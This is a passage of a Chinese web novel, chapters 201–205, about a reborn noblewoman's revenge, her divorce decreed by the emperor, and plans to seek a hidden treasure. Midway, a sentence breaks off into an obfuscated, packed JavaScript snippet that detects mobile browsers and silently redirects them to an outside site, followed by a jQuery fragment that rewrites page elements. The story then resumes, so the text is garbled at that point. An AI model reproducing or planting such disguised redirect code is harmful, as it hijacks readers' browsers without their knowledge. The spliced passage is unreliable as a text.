裴祈安点头:“温家必定会接应,分开两路,走水路和陆路,这个时候谁也不能说没有折损,百姓并无自保之力,我们尽力而为就好。” 事情商量妥当后,裴祈安带着人连夜分散开选择突破的地方。 与此同时,晏怀卿也在和手底下的人商量该如何困死这些人。 陪晏怀卿一起攻打进来的人还有西凉的两位大将,平南王耶律齐和大将军鲁达。 二人手底下谋士不少,说是晏怀卿为帅,实则真正能调动兵马的人是耶律齐,但兵权握在鲁达手里,二人不管是在朝堂还是私下里,都是共进退的,并且二人是瞧不上晏怀卿的小人做派,不过事关大局,要以大局为重,敬晏怀卿是权宜之计。 “直接开打,一路杀进去。”晏怀卿说。 其真实的目的是要把温令仪的命留在泾河府,若是能把裴祈安也杀死在这里,那就事半功倍了,毕竟自己如今空有名声,并无实权,真要是运气好,耶律齐是皇子或鲁达是大将军,不管是谁,只要有一个人的命留在泾河府,那自己才有可能真正的手握重兵,并且让西凉不遗余力的和大夏开战,乱世出枭雄,他已经没有退路了。 鲁达脸色一沉:“孤军深入敌军腹地,本就是大忌,若是我等前面攻城略地,大夏从漠北调兵截断我军的后路,岂不是被关门打狗了?” “鲁兄言之有理,晏老弟太急于求成了,我等本就是过了泾水河后要停下来,漠北那边应该开始有动作了,你说漠北乃是你的岳家,今日见到了晏夫人,晏老弟的家事我们不过问,可如今你和温家的关系到底如何,某怎么看不透了呢?你隐瞒了什么?”耶律齐说。 耶律齐真正的身份是西凉的六皇子,作为手握重兵的皇子,就算是封王又如何?西凉可没有封王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878087|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不能继承大统的规矩,可想而知西凉的皇帝对这个儿子期望是很高的。 晏怀卿赶紧陪着笑脸:“王爷有所不知,当初我投奔西凉的时候,岳家并不之情,不过王爷放心,镇国公府一家人也深受大夏皇族之苦,只需要王爷稍施恩惠,温家定不会放着生路不走,非要自寻死路的,而我的妻,性子刚烈不过是做给旁人看的,她若不如此,消息一旦传到了京城,温家全族性命不保,绝不是跟我恩断义绝,而且我们私下里伉俪情深的。” 鲁达看看耶律齐,耶律齐看看鲁达,二人半信半疑,但他们已经到了泾河府,接下来确实需要领路人,晏怀卿再怎么令人不齿,那也是大夏手握重兵的人,用处是很大的。 二人没同意继续深入,但也没有退兵的想法。 晏怀卿送走这两个人,立刻回去了内账。 叶染秋和晏明昭就乖顺的坐在大帐里,见到晏怀卿,母子二人都站起来了,一幅噤若寒蝉的样子。 晏怀卿大马金刀的坐下来,目光如同刀锋一般打量着晏明昭。 温令仪的话犹在耳边,杀死两个有孕的妾室,这个晏明昭还真让自己刮目相看了。 “父亲,耶律齐跟西凉皇上的福贵妃私通,福贵妃的儿子都是耶律齐的,这件事足以治耶律齐于死地。”晏明昭说。 晏怀卿一瞬间有些接不住晏明昭的话,眉头紧锁:“你怎么知道的?” “父亲,你不觉得打从温令仪生产昏迷之后再苏醒过来,您就步步艰难,总是有受制于人的感觉,并且几乎在京城都要身败名裂了吗?”晏明昭目光咄咄的看着晏怀卿,一字一顿:“因为温令仪是重生的人!她知道所有一切,而我恰好也是重生的人,不过我不满一岁,口不能言,没办法替父亲解灾厄啊。” 晏怀卿蹭就站起来了:“你妖言惑众!” “父亲,你难道不好奇,我既是重生,那重生之前都发生了什么事吗?”晏明昭怡然不惧,抬头看着晏怀卿。 晏怀卿眉头紧锁,看叶染秋:“你信?” “卿郎,非但我信,我也得到过梦示,我以为是梦,可我们的儿子跟我说了后,我怀疑我也和明昭一样重生的,就算不是重生,我梦里的一切也都是真实发生过的。”叶染秋走过来拉着晏怀卿的衣袖:“不如,你听听昭儿怎么说,如何?” 第201章 坏心也能办好事,崔家出山了 晏怀卿将信将疑的看着晏明昭。 晏明昭知道机会就这一次,缓缓地吸了口气说道:“父亲,上一世温令仪被顺利的关到了密室水牢里,三十年用心头血养着祖父和您,压制半边月的毒,温家在温令仪被囚禁第七年的时候就被满门抄斩,温慕阳投靠西凉成为大将军之前把温家军交托给我,而我有父亲和祖父托举,成为了少年神将,三十年后率军攻打大夏,我阵前游说,他自愿奉上头颅,西凉军撤回,我成为了朝廷最年轻的兵马大元帅。” 晏怀卿愕然的瞪大了眼睛,这不就是自己最初的设想吗? “母亲从温令仪被囚禁那日开始,就顶着温令仪的那张脸为父亲操持国公府,一直都伉俪情深,没有平妻,没有妾室,父亲敬重母亲,三十年后是父亲亲自剖出温令仪的心入药,穆青为父亲解了半边月的毒,而我投靠了萧玄策,萧玄策成为了天下共主,而我依旧是少年神将,秦国公府风头无两,在京城无人可及。”晏明昭说。 晏怀卿震惊的无以复加,微微眯起眼睛:“这么说,全都错了?” “父亲难道没想过吗?小张氏是温令仪故意放在你身边的人,还有那两个妾室,本就不该出现,再就是裴祈安没死,温令仪身边还多了一个囡囡,这些都不该出现的人纷纷出现,是从温令仪没有被囚禁那日开始的,所以温令仪一直都在暗中布局,救了裴祈安,让温家去了漠北,杀了穆青,步步都断你后路,逼着你不得不成为叛国之臣,让你投靠西凉,她才是这一切的始作俑者,我们一家都被她害惨了,包括那个大牛,也是温令仪的人啊。”晏明昭激动的站了起来:“还有妖奴儿和那四个妓子,都是温令仪在害你啊,父亲。” 晏怀卿跌坐在椅子上,不敢相信自己的耳朵,可这些话仔细推敲,除了细思极恐外,确实跟温令仪撇不开关系。 “你的梦里也是这些?”晏怀卿看叶染秋。 叶染秋点了点头:“卿郎是在三十年后,解了半边月的毒,对外宣称温令仪死了,把我迎娶过门,我们一家三口才真正团聚的,我们的昭儿不是害你的人,反而是晏家的兴家之子啊。” “如今到了这个地步,一步错步步错,还有什么办法吗?”晏怀卿问。 晏明昭走过来,压低声音:“如今让母亲易容成温令仪,已经骗不过温家人了,但母亲可以易容成为温令仪,骗过耶律齐和鲁达,鲁达是个猛将,但手底下谋士很多,耶律齐野心勃勃想要成为西凉的皇帝,但他注定失败,我们可以暂时退兵到雁门关,母亲易容成温令仪后,父亲带着我们母子去西凉,我会献计给西凉的皇帝,父亲无需阵前杀敌,但功劳必定都是我们的。” 晏怀卿眉头紧锁:“不用上阵杀敌都能把功劳据为己有?” “决胜千里之外,父亲,您有我在,必定会万无一失,但想要斩断了耶律齐的生路,西凉未来的皇帝是耶律齐的大哥耶律安。”晏明昭说。 晏怀卿眼睛一亮:“我们保耶律安,投靠耶律安吗?” “是。”晏明昭点头。 晏怀卿心里还有顾虑,不过晏明昭的话太让人心动了,他看向叶染秋。 叶染秋心领神会,到旁边开始易容,一炷香的时间,易容后的叶染秋站在晏怀卿面前,一个活脱脱的温令仪。 晏怀卿十分满意。 “晏怀卿,你若执迷不悟,我们就听天由命。”叶染秋说。 连声音都一模一样,晏怀卿顿时有了底气:“今晚好好休息,明日我带着你们去见耶律齐。” 翌日,拂晓时分。 裴祈安正安排突围,一支翎羽箭破空而来,裴祈安侧身躲开,翎羽箭钉在墙上,上面有一封信。 取下来书信打开,裴祈安看过后,脸上终于有了轻松的表情,把人都聚到一起,商量应对之策。 “不用逃走了?”墨染疑惑的看着裴祈安。 裴祈安把手里的书信递给墨染。 墨染看过之后,也是松了口气,毕竟带着这么多百姓突围,死伤严重是必然的,这确实是个好消息。 此时。 晏怀卿带着易容后的叶染秋来见平南王耶律齐。 耶律齐猛然见到易容后的叶染秋,心里大吃一惊,再看晏怀卿,倒是相信温令仪昨日所言,都是为了保全温家。 落座后,耶律齐笑道:“你们夫妻二人,还真是让人看不透呢。” 叶染秋微微颔首:“王爷有所不知,这是权宜之计,父兄都在漠北,若稍有闪失便是灭族之祸,父兄早就有交代,我夫君所做之事便是温家所做之事,但事急从缓,所以如今孤军深入太过冒险,退回雁门关,我亲自去漠北见父兄,说明其中厉害,若能漠北和雁门关同时大军压境,何愁不成?” 耶律齐笑意不减,看向晏怀卿:“晏老弟,你的夫人不愧是将门之后,看来也颇懂谋略啊。” “岳丈十分疼爱女儿,所以从小指点的多。”晏怀卿说。 耶律齐话锋一转:“可如今我们已经到了这里,退回雁门关,不甘心啊。” “以退为进,大夏如今没有大将,雁门关已破,正是囤粮集结兵力的好时机。”叶染秋顿了一下,想晏明昭来时交代的话,清了清嗓子:“孤军深入大夏腹地很危险,守泾河府更危险,漕帮和江湖中人会蚕食王爷的兵力,到时候得不偿失。” 耶律齐打量着叶染秋,反复斟酌她的话,不得不说这些正是自己担忧的地方,雁门关背靠西凉,进退自如,屯粮集结兵力,以这次的经验看,大夏形同朽木,不堪一击。 倒不如求稳,让晏怀卿和温令仪往漠北去游说温家,到时候用大夏的兵打大夏国,西凉坐收渔翁之利,一举拿下大夏,自己必定是西凉未来的皇帝! “撤兵。”耶律齐下令。 泾河府里,温令仪早早起来,听说西凉撤兵也被惊了一下,快步走出来险些和裴祈安装了个满怀儿。 “撤兵了?”温令仪又惊又喜。 裴祈安递过来昨晚收到的书信,温令仪看过之后,愕然的抬头:“你的人在他们身边?” “嗯,所以我们无需逃走,但我必须陪着你回京城,这边无人镇守也不妥当,所以罗政还需要留在这里,但不能在泾河府,要去江南府。”裴祈安问:“罗政伤势如何?” “倒不会危及性命。”温令仪说:“可兵马都已经散了,多数投靠了晏怀卿,没有兵马,何谈镇守呢?” “那就要看皇上怎么安排了。”裴祈安压低声音:“我的人必定会护着罗政的,从现在开始,我们要开始做大事了。” 温令仪郑重的点头,是要开始了,要报仇!要斩草除根!更要永绝后患! 在泾河府百姓欢呼雀跃的时候,温令仪和裴祈安已经启程往京城去了。 罗政率领裴祈安留下的三千人过了泾水河,往江南府去,江南府的百姓纷纷走向街头,不用朝廷征兵令,各家各户的男丁都跟在队伍后面,他们失去过一次了,若有人再敢杀过来,反正怎么都是死,不如死得铁骨铮铮。 罗政不知其中缘故,倒是邓秀林一句点破了其中关窍:“崔家,出山了。” 第202章 准许休夫,还要赐婚 谭庸见到裴祈安和温令仪的时候,眼圈都红了。 他跟着裴祈安经历过生死无数次,可从来没有这次那么让他绝望,身为顶天立地的大丈夫,为的就是保护弱小,可生死关头却是温令仪挡在了自己前面,一个医术救了无数性命,并无半点功夫自保的女人,让他都惭愧,不幸中的万幸,裴祈安救回来了温令仪,可若晚一步,自己往后余生都无法原谅自己。 跟谭庸的隐忍比起来,林嬷嬷、碧桃和海棠哭得泣不成声。 “好啦,大难不死,必有后福,我们都是有福之人,如今不能耽搁太久,若是有追兵就麻烦了,咱们得赶路。”温令仪劝慰,几个人止住了悲声,上了马车一路往京城去。 沐白伤势不轻,师兄们还好一些,一路上温令仪悉心照顾,在要到京城的时候分道扬镳,沐白要回去药王谷送信儿,师兄们要往漠北去帮助温家,既然在泾河府提到了大梁宝藏,温令仪认为宜早不宜迟,必须动手了。 唯有积累了足够的财富,才能更有胜算。 临别之际,沐白看着温令仪:“小师妹,你若此时回京,真的会安然无恙吗?” “放心吧,会的。”温令仪不相信永元帝,但相信裴祈安。 沐白知道自己并不能改变什么,小师妹不是江湖中人,涉及到朝廷,就算药王谷再有威望也无济于事,现如今唯有帮助小师妹,尽药王谷所能。 众人分开后,只有一辆马车往京城来,林嬷嬷、碧桃和海棠陪着温令仪坐在马车里,温令仪身体亏空的厉害,终于能休息一下了,迷迷糊糊的总是睡,马车速度放慢了许多,但凡能休息的时候,裴祈安都会提前安排妥当,让温令仪尽可能的多休息。 如此,半个月后才到京城。 裴祈安直接入宫,温令仪回去了镇国公府。 永元帝早就得到了裴祈安的奏折,温令仪退兵到雁门关,这让永元帝相信晏怀卿忌惮的是温家军,如今对于怎么处置温令仪,反倒左右为难了。 “准许温令仪休夫。”裴祈安说:“如此既能保全温令仪和温家的颜面,也能让温家安心和西凉开战,西凉那边蠢蠢欲动,但平南王如今在雁门关,漠北现如今没有大规模的战事发生,极有可能是西凉内部兵力不足。” 永元帝微微的眯起眼睛:“圈禁如何?” 裴祈安微微垂首:“皇上,微臣只是提出了自己的想法,至于怎么处置,全凭皇上做主。” 永元帝起身,拍了拍裴祈安的肩膀:“如今大敌当前,现在御敌为重,孤如今心里十分着急,西凉撤兵到雁门关,到底是有什么目的呢?” “等漠北攻破后,会两军汇合,到时大夏回天乏力,皇上一定要尽早决断,温家若是军心一乱,大夏危矣。”裴祈安说。 永元帝眉头紧锁:“罗政可信?” “可信,实乃猛将。”裴祈安说。 永元帝请裴祈安喝酒,两个人就像儿时一般到了东宫大殿门前,拎着酒坛,退了所有人。 “玉琢,我的皇儿死了,郎家绝嗣了。”永元帝说到这里,举起来酒坛灌了好几口,呛得咳嗽。 裴祈安递过来帕子,坐在永元帝身边:“皇上正春秋鼎盛,只需要度过眼前难关,必定会子孙瓜瓞,永世昌隆的。” “你竟也学会了说假话啊。”永元帝难过的抬眸看着裴祈安:“江河日下,孤如今已感觉到了,若是有一天,这天下能拱手让人,孤会把这个江山给你,玉琢啊,可是你……唉。” 言外之意,裴祈安也是绝嗣之人。 裴祈安立刻跪下了:“皇上,微臣侍君,尽心尽力,大夏江山一定会千秋万代的。” “当初若能把温家、晏家和裴家都护周全,大夏江山怎么会如此短暂,如今让孤怎么有脸去见列祖列宗的面呢?” 裴祈安没言语。 这个时候才想起来温家、晏家和裴家? 当年裴家被灭门的时候,他们虽然小,可不是不懂事的时候,当初自己在御书房门外听到的那句话,自己至少比狗好使。 这么多年为了报仇,忍辱负重,潜心布局,如今永元帝试探自己,会改变什么呢? “如果,孤赐婚你和温令仪的话,你可愿意?”永元帝问。 裴祈安愣怔片刻,立刻说:“微臣不愿意。” “温令仪不是跟晏怀卿育有一子吗?”永元帝问。 裴祈安沉声:“微臣并不知细情,皇上若想问,可宣温令仪入宫,仔细询问。” 永元帝不提,只是喝酒。 翌日。 温令仪被宣召入宫。 御书房里,永元帝打量着温令仪,暗暗地吸了一口冷气,温令仪是京中贵女,虽婚事不如意,但养尊处优,合成露出如此苦相? “温令仪,你受苦了?”永元帝问。 温令仪跪在地上:“回皇上,在泾河府被困多日,米粮所剩无几,为了让病患好起来,确实不敢吃喝。” 永元帝眉头紧锁:“晏怀卿如此断情绝义吗?” 温令仪哽咽:“皇上,臣女一直都活得卑微,一步走错,步步错了,如今晏怀卿叛国,臣女请皇上准许臣女休夫。” “这样啊。”永元帝抿了抿嘴角:“你与晏怀卿育有一子,该如何处置?” 温令仪落泪:“皇上,臣女本该有一个孩子,可我的亲生骨肉没有能活下来,而是在降生之日便被害死了,皇上所说的那个孩子,是晏怀卿和叶染秋所生,为了骗我,想要让温家托举,害死了我的亲生骨肉,让我在不知情的时候养育他们的孩子。” 永元帝大惊,这种事情就算在天家都鲜少出现,怪不得温令仪会那般纵容晏怀卿,原来两个人早就恩断义绝了,怪不得温家在漠北不动声色,原来早就知情,恨之入骨怎么可能会联手? “孤准许你休夫,会昭告天下。”永元帝顿了一下:“赐婚摄政王,择日完婚,如何?” 温令仪被吓得抬起头来,赶紧低下头:“皇上,皇上万万不可,臣女只需要休夫,就皇恩浩荡了,摄政王并不是臣女能肖想的。” 永元帝朗声大笑…… 第203章 不能闹出来太大的动静,都杀了吧 永元帝心里头非常畅快。 晏家和温家不会联手,这早就可以预见,毕竟晏怀卿闹腾出来那么多丑事,是真的把温家的颜面丢在地上还不解恨,反复践踏多次了,世家大族最重视的莫过于颜面,晏怀卿没有温家支持还敢投奔西凉,此举在温家人眼里是绝对鲁莽和不成气候的。 要说担心,他反倒担心裴祈安和温家勾结在一起,从让温家去漠北镇守,到这次为温令仪说话,让她休夫,若是裴祈安和温家联手,那对大夏来说,才是灾难。 当年三公无一个被善待,他比任何人都清楚,最惨的恰恰是自己现如今不得不仰仗的裴祈安,赐婚是试探,温令仪的表现,他非常满意,毕竟在他心里,裴祈安虽是天阉之人,那也不是随便一个人就能配得上的。 永元帝听取裴祈安的建议,昭告天下温令仪休夫,并且极力褒奖温令仪在泾河府对抗时疫,对待晏怀卿生死威胁时表现出来的为国效忠,甚至还把温家也褒奖了一番。 圣旨下到温令仪手中,温令仪立刻写了一封休书,休书传扬出去,京城人尽皆知,小张氏躲在秦国公府里,接到消息后哭得那叫一个肝肠寸断。 温令仪带领温家的家丁登门秦国公府,府门外看热闹的人里三层、外三层,都想看看如今的秦国公府还有什么人能撑场面。 大门打开,小张氏带着人跪在地上,泪流满面。 温令仪进门先把小张氏扶起来。 “夫人啊,您能逃离苦海,奴婢可如何是好啊?呜呜呜,奴婢也想离开这里,可无人给奴婢做主啊。”小张氏哭得双肩颤抖。 温令仪轻轻地叹了口气:“朝廷接下来会查封秦国公府,我如今只能自保,不能救你。” 小张氏眼泪汪汪的点头。 “你可以逃走。”温令仪压低声音:“金银细软都收拾好,足够你余生安稳了,离开京城往江南府去,那边有崔家照应,能过安生日子。” 小张氏瞪大眼睛,反应过来跪下就磕头。 温令仪没有再多说什么,而是把所有的嫁妆都整理好,清点之后带回了镇国公府。 镇国公府门前,形销骨立的人影让温令仪的眼泪瞬间夺眶而出,吩咐车夫停下马车,从马车上跳下来直奔那人跑过去。 “阿姐!”温令仪怎么都没想到这个时候阿姐会出现在镇国公府门前。 温令茹颤巍巍的抱住了温令仪:“小妹。” “你怎么了?你这是怎么了?”温令仪抬头看着温令茹的脸色,犹如黄纸一般没有血色,两只眼布满了红血丝,瘦到了脱相,这是受了大罪的样子啊。 温令茹微微摇头:“不碍事,不碍事,咱们回家。” 温令仪搀扶着温令茹进门,府里的老人儿看到大小姐这幅样子,疼得抹眼泪。 外面这些都交代给下人去做,温令仪拉着温令茹的手坐在屋子里,问:“阿姐可是遇到了什么难处?外甥和外甥女怎么不见同来?你把手腕伸过来,令仪给阿姐诊脉。” “祖父他们在漠北,好吗?”温令茹说。 温令仪知道阿姐不愿意提婆家的事,如今不提也罢,看阿姐的样子也知道其处境多么艰难了,当初以为阿姐嫁给寻常商户,嫁妆丰厚足够余生安稳,又因镇国公府的名头足够让阿姐硬气,让婆家敬重,显然结果恰恰相反。 “祖父他们都很好,二哥执掌兵权,大哥在外做事,具体我说不好,因为我一直都没见到他们,京城一别到如今一年有余了。”温令仪说。 温令茹微微勾起唇角:“那就好。” "“阿姐,可愿意去漠北?”温令仪问。 温令茹愣了一下:“我去漠北?” “自是去的,这世上不管和什么人相见和别离,都要讲究一个缘法,夫妻如此,儿女亦是如此,缘来则聚,缘去则散,但我们一家人却能永远守望相助,阿姐是自由身,去漠北也不会引起任何人注意,只要阿姐在漠北,我不管身在何处也不会担心祖母和母亲,大哥和二哥都成亲了,若是快啊,咱们也应该有侄儿或侄女了,阿姐代替我多尽一份心,那我可就有福气了。” 温令仪说着,轻轻地拉住了温令茹的手腕,趁机诊脉。 温令茹看了眼温令仪的手,轻声说:“小妹,阿姐不想追究,也不想要任何陪嫁之物,我如今被休下堂,那些个财物也无所谓了,留给两个白眼狼孩子去享受,从此以后恩断义绝,再不相见了。” “好。”温令仪收回诊脉的手,抬眸看着温令茹:“不计较是好的,落井下石的小人,一转头就能成为口蜜腹剑的奸人,见其品行,避而远之,这才是上上策,阿姐放心,你身体虽亏空的厉害,但小妹医术尚可,调理一些日子就会像从前一般,到时候另觅良缘,也绝非难事,再养儿育女,必定是贤孝的好儿郎。” 温令茹低头抹泪,虽然知道小妹说的是宽心话,可如今自己想要听宽心话,也就只有在亲人跟前了。 温令仪安顿长姐住在未出阁的院子里,吩咐人好好照顾,亲自写了方子抓药,亲自熬药,就像是往常一般,不见惶惶然,也没有因为夫妻半途而露出一丝一毫戚戚然的样子。 夜深人静。 温令仪沐浴后,看着摆在桌子上的百福灯,想到了裴祈安,如今哪里还需要点亮百福灯?裴祈安只要忙完手里的事,必定会来。 坐下来静静地等着,当裴祈安进门的时候,温令仪抬眸看过来,两个人默契的相视一笑。 “如今,阿宁自由了,长姐如今安顿好了?”裴祈安揽着温令仪的腰身,轻声说。 温令仪轻轻叹了口气:“长姐险些死在夫家,如今被休下堂,一双儿女也都是白眼狼,但长姐不想计较。” 裴祈安看了眼温令仪:“要我做什么?” “不能闹出来太大的动静,都杀了吧。”温令仪平静的说。 裴祈安挑眉:“两个孩子也一起处理掉?” “长姐仁至义尽,儿女不孝并非大事,但长姐他日若过的安稳,他们恬不知耻的登门闹腾,长姐若心软,余生还要吃他们的苦头,长姐若不理,世人又会说长姐薄情寡义,不如永绝后患的好。” 温令仪看着裴祈安:“是不是?” “等我。”裴祈安转身出去了,温令仪抬起手压了压心口的位置,希望长姐有朝一日知道真相,也能理解自己的良苦用心啊。 第204章 他身边确实没有一个可用之人了 温令仪静静地坐下,抬眸看着外面漆黑的夜色。 她如今到底心境变了,尽管怒急却也不会表现出来,再给长姐诊脉的那一刹那,心里就拿定主意要杀光那些个混账东西了,对长姐不好,罪不至死,但给长姐下毒,那就是有了杀人心,杀她至亲的仇人,杀光了有何不可? 一双儿女,没有一个陪在长姐身边,不用多问也知道对长姐不好,更不用说长姐作为亲生母亲,用了白眼狼说自己的儿女了。 再者,镇国公府的嫡长女出嫁,就算是嫁给了寻常商户,身边伺候的下人也足够用,连一个丫环,一个婆子都没有跟在长姐身边,若不是被害死了,那就是背主了,留着作甚? 不想让长姐伤心,所以不问任何细节,并且长姐以后必定是荣耀满身的温家嫡长女,不能留下那些混账东西再来残害长姐。 温令仪随手翻开毒经,静静地看着。 一炷香的工夫,裴祈安去而复返。 不等温令仪问,裴祈安坐在她身边娓娓道来,一切都跟温令仪猜测的相差无几,两个贴身一等丫环爬床,婆子照顾两个孩子,教两个孩子不敬母亲,婆家更是对外宣称温令茹是个疯子,苛责虐待都习以为常,而这一家子用的都是长姐的嫁妆。 “不留就好。”温令仪说。 裴祈安显然也是动怒了,握着温令仪的手:“会把这些人活埋在乱葬岗里,对外放出去风声怕被镇国公府连累,连夜逃走了,在长姐那边也如此说。” “玉郎想得周到。”温令仪说。 裴祈安抱着温令仪往床榻边上去,回手灭了夜灯…… 缠绵过后,裴祈安拥着温令仪:“大梁宝藏的事,瞒不住的。” “没想瞒着,明日我便入宫和皇上说明,藏宝图也呈上去,但你务必要跟我同去寻大梁宝藏,师父那边一会儿很快就会有消息,我们还需在梅山汇合。”温令仪说。 裴祈安挑眉:“不是在苍山吗?” “师父也认为是在苍山,可若我们若把藏宝图反过来看,那便是梅山,上官子玉在梅山这么多年,绝对不是因为喜欢梅山,所以我推测大夏宝藏,真正的藏宝地就在梅山。”温令仪说。 裴祈安恍然,拥紧了温令仪:“那就去梅山,宋家帮忙,一旦找到大梁宝藏,我们就直接去漠北。” 温令仪靠在裴祈安的胸口:“不用去漠北,宝藏送给永元帝,我们依旧留在京城。” “为何?”裴祈安不解。 温令仪用手指在裴祈安的胸口轻轻地勾画着:“我赌晏怀卿会让叶染秋易容成我,把西凉搅得天翻地覆,并不是晏怀卿和叶染秋有多大的本事,而是晏明昭不容小觑,让你的人盯紧了他们,漠北未必就不能失守,若是温家且战且退,来到京城,西凉兵马进入大夏境内,萧玄策趁机断西凉后路,一举歼灭来犯之敌,西凉国土一分为二,西域三十六国和未来的朝廷互不侵犯,太平可期。” 裴祈安只觉得激动到心都狂跳不已,坐起来打量着温令仪:“阿宁有治国之能!” “裴祈安,我是重生的人。”温令仪坐起来,屋子里和外面一样漆黑,温令仪看不到裴祈安,她不是习武之人,没有那么好的目力,但相信裴祈安能看到自己。 抬起头,缓缓地说:“我是重生之人,上一世死的凄惨,就像是黄粱一梦般,我再次睁开眼睛就是临盆那日,虽然我知道的不多,可我知道温家的下场,知道晏明昭的厉害,所以才会先到这些。” 裴祈安握着温令仪的手:“囡囡说我死在了萧玄策手里,所以这一世她不会让我死掉。” “是啊,我们都不会死掉,我会报血海深仇,你会报灭门之仇,越是处处都看似有利于我们的时候,我们越是要步步为营才行。” 裴祈安把温令仪抱在怀里,问:“阿宁,你上一世死的很惨吗?” “是啊,临盆当日被囚禁在地牢里三十年,放心头血三十年,最后被剖了心,直到临死的时候才知道我的亲人早就被害死了,二哥被晏明昭欺骗,投靠西凉的他宁可把头颅送给晏明昭,只求他能为温家报仇雪恨,直到二哥死的时候,也都以为晏明昭是他的亲外甥呢。”温令仪没有落泪,说得慢条斯理的。 裴祈安轻轻地顺着温令仪的后背,柔声说:“不会了,一切都不会发生,你必定会得偿所愿,我们都会好好的。” 翌日。 温令仪入宫献图。 永元帝大吃一惊。 温令仪把穆青、天成子和上官子玉三个人的过去讲给永元帝听,梅山之行所遇到的凶险和得到这份人皮藏宝图的过程也说了个仔仔细细。 一直说到自己杀了穆青,但杀了穆青之后才知道进去寻找宝藏,必须要有个绝对一等一的毒师才能全身而退时,温令仪语气里都是惋惜。 永元帝让人取来舆图。 温令仪把自己的想法说了,永元帝连连点头:“应该就是在梅山,令仪稍等。” 温令仪不知道永元帝要做什么,见他出门去了,一盏茶工夫回来,手里捧着一个匣子。 打开匣子,永元帝取出来一张图,放在桌子上:“大梁藏下了天下七成财富,先皇一直都在寻找藏宝之地,这些年来所得,图纸都在这里,若是拼凑一番,也是直指梅山。” 温令仪跪倒在地:“皇上,臣女献宝之后,想请皇上开恩,让臣女去漠北和家人团聚。” “这个?”永元帝坐下来,长叹一声:“令仪啊,温家上下都是忠臣,孤心知肚明,如今孤身边无可信之人,若是令仪能帮孤这一次,寻找到宝藏,孤记温家大功一件,如何?” 温令仪叩头在地:“臣女并无这般本事。” “药王谷的人必定会帮你,若是还不够的话,让摄政王同去,如何?”永元帝说:“找到这些宝藏,正能为漠北多储备军用之物是,如此才能保证大夏安全,也能尽最大可能护住温家上下,令仪觉得呢?” 温令仪微微眯起眼睛,果然,他身边确实没有一个可用之人了,自己想要的不就是这个吗? 第205章 你是不是总会想着丢下我 温令仪叩头在地:“皇上,臣女如今犹如浮萍一般,惦记着泾河府和江南府的百姓,时疫尚有残存,田地并无产出,若臣女找到了大梁宝藏,不管是否能全身而退,哪怕就是死在了里面,只要能运出来金银之物,能否为江南府和泾河府百姓拨款赈灾,让他们能活下来?” “准了。”永元帝答应的那叫一个爽快。 温令仪是不信的,不过能把这个话说出来,那就往后走着瞧。 “给臣女几日准备,也需要去告求师父出山帮忙。”温令仪面露难色:“当初临盆之际,穆青几次三番加害臣女,师父不得已来到京城护臣女周全,如今若提到上官子玉和秘宝,师父要不怪罪我隐瞒才能出山,若是怪罪了,臣女恳请皇上让臣女亲自去药王谷赔罪。” 永元帝微微点头:“如此也好,若是要往药王谷赔罪,倒是可以让摄政王同去,摄政王和药王谷的天成子颇有些交情,如今家国大义在前,朝廷也登门去拜求,怎么也不会驳了这脸面的。” “是。”温令仪没有再说。 她如今倒是心里非常踏实了,永元帝处处仰仗裴祈安,那还有什么担心的?只管做好自己的事,余下的都无妨。 温令仪没着急离开京城,而是仔细给长姐调理身体,以前未曾研习毒经的时候,尚且不敢如此有成算,如今倒是得了毒经莫大的好处,寻常人能用的毒药,在自己面前都是微不足道的小事儿。 温令茹离开京城的时候,温令仪让林嬷嬷跟着去了漠北,一来沿途照顾长姐,二来漠北那边并不知道自己的情况,林嬷嬷过去必定能说得清楚明白,永元帝现在颇有些惊弓之鸟的意思,写书信是最不安全的。 事情都安排妥当,裴祈安把二人悄悄送离了京城。 已到了暮春时节,温令仪早就飞鸽传书让师父和师兄们按兵不动,安顿好京城就入宫和永元帝说明情况,要亲自去药王谷赔罪,再请师父和师兄们出手相助。 永元帝没有不答应的道理,国库空虚的他,就算知道战祸就在眼前,也只能一筹莫展,倒是罗岳这几日频繁入宫,身边带着的女子十分得永元帝的信任,京城周遭的田地都交给罗岳去安排。 温令仪知道那个女子是方静言,但时机不对,也没想过见面。 倒是小张氏趁着夜深人静来辞行了。 温令仪叮嘱小张氏务必要隐姓埋名,至于以后的日子怎么过,那要看各人缘法,从最开始入秦国公府当奶娘,到跟晏怀卿之间的种种,一直到今日小张氏带了足够生活的银钱离开京城,这一场缘分也就算尽了。 京城这个地方,温令仪觉得越发陌生,生在这里,长在这里,可如今却觉得这里没什么好留恋的了,亲人不在,仇人也不在,只有一个永元帝,就算自己恨不得把永元帝碎尸万段,可能力所限,需要徐徐图之,还需要天时地利与人和。 翌日离京。 温令仪的马车可谓奢华,裴祈安的马车在前,后头还有送给药王谷的礼,虽算不得浩浩荡荡,可五辆马车离京,着实惹眼。 温令仪带了碧桃和海棠两个人,离京时候,花开荼蘼,官道两边的田地里,生机勃勃。 秧苗和田里劳作的百姓让温令仪不胜唏嘘,也不知道战祸临头的时候,这些粮食能否收归粮仓,听到田间地头传来孩童们打闹欢笑的声音,只觉得心酸。 百姓不知天下事,躬耕勤作盼丰年啊。 离京第二日,裴祈安坐在了温令仪身边,碧桃和海棠挪到了裴祈安的马车里。 碧桃和海棠愁容满面,可两个人都不敢多问多说,只是觉得摄政王越发的不顾及了,也不怕被传扬出去,到时候自家小姐该如何自处?原本还有林嬷嬷在,总觉得有定心丸,如今林嬷嬷还不在了。 温令仪早就习惯了,哪怕自己看书,裴祈安也要把她放在怀里,也不会有什么觉得不妥当的地方。 “西凉若是打起来,多久能到京城?”温令仪放下手里的毒经,问。 裴祈安往外看了眼:“西凉不会到京城,当然了,也要看我们什么时候准备好,让西凉打到哪里,不是西凉说的算。” “那还好,百姓去年的灾荒还没有缓过来,泾河府和江南府的百姓因为时疫,耽误了耕种的农时,若再被战祸折腾,真真是不给人活路了。”温令仪说。 裴祈安拿过来水囊递给温令仪:“五师兄这次从海外回来,必定会带许多粮食。” 温令仪心头一喜:“五师兄有消息了吗?” 